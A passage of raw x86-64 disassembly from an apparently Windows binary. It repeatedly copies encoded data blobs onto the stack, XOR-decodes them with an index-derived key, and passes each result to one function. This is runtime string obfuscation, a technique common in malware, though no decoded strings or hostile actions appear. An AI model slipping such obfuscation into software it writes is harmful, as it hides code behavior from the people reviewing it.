movups xmm0, xmmword [0x14006e970]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006e980]
movsd qword [rbp - 0x40], xmm0
cmp ebx, 2
jl 0x140007170
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x140007080
jmp 0x1400071b6
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x140007180
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f330]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f340]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f350]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f360]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f370]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f380]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f390]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f3a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f3b0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006f3c0]
movsd qword [rbp - 0x40], xmm0
movzx eax, byte [0x14006f3c8]
mov byte [rbp - 0x38], al
mov r8d, r12d
cmp ebx, 2
jl 0x140007359
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140007260
cmp r8d, 0x99
jge 0x1400073a6
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140007370
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f460]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f470]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f480]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f490]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f4a0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f4b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f4c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f4d0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f4e0]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006f4f0]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006f4f4]
mov word [rbp - 0x3c], ax
movzx eax, byte [0x14006f4f6]
mov byte [rbp - 0x3a], al
mov r8d, r12d
cmp ebx, 2
jl 0x140007549
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007450
cmp r8d, 0x97
jge 0x140007596
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140007560
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d170]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d180]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d190]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d1a0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d1b0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d1c0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d1d0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d1e0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x14006d1f0]
movsd qword [rbp - 0x50], xmm0
movzx eax, byte [0x14006d1f8]
mov byte [rbp - 0x48], al
mov r8d, r12d
cmp ebx, 2
jl 0x140007729
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140007630
cmp r8d, 0x89
jge 0x140007776
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x89
jl 0x140007740
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [str.J_e_YZ]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f840]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f850]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f860]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f870]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f880]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f890]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f8a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f8b0]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006f8c0]
movsd qword [rbp - 0x40], xmm0
movzx eax, byte [0x14006f8c8]
mov byte [rbp - 0x38], al
mov r8d, r12d
cmp ebx, 2
jl 0x140007919
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140007820
cmp r8d, 0x99
jge 0x140007966
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140007930
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d310]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d320]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d330]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d340]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d350]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d360]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d370]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d380]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d390]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006d3a0]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006d3a4]
mov word [rbp - 0x3c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140007b09
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007a10
cmp r8d, 0x96
jge 0x140007b56
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140007b20
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006cff0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d000]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d010]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d020]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d030]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d040]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d050]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d060]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d070]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006d080]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006d084]
mov word [rbp - 0x3c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140007cf9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007c00
cmp r8d, 0x96
jge 0x140007d46
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140007d10
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d7c0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d7d0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d7e0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d7f0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d800]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d810]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d820]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d830]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d840]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006d850]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006d854]
mov word [rbp - 0x3c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140007ee9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007df0
cmp r8d, 0x96
jge 0x140007f36
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140007f00
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d200]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d210]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d220]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d230]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d240]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d250]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d260]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d270]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d280]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006d290]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14006d294]
mov word [rbp - 0x3c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x1400080d9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007fe0
cmp r8d, 0x96
jge 0x140008126
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400080f0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d530]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d540]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d550]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d560]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [str.eM_____c5_.__hcj_0_7_8sr84_30rE]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d580]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d590]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x14006d5a0]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x14006d5a8]
mov word [rbp - 0x58], ax
movzx eax, byte [0x14006d5aa]
mov byte [rbp - 0x56], al
mov r8d, r12d
cmp ebx, 2
jl 0x1400082b3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400081c0
cmp r8d, 0x7b
jge 0x1400082f3
movsxd rax, r8d
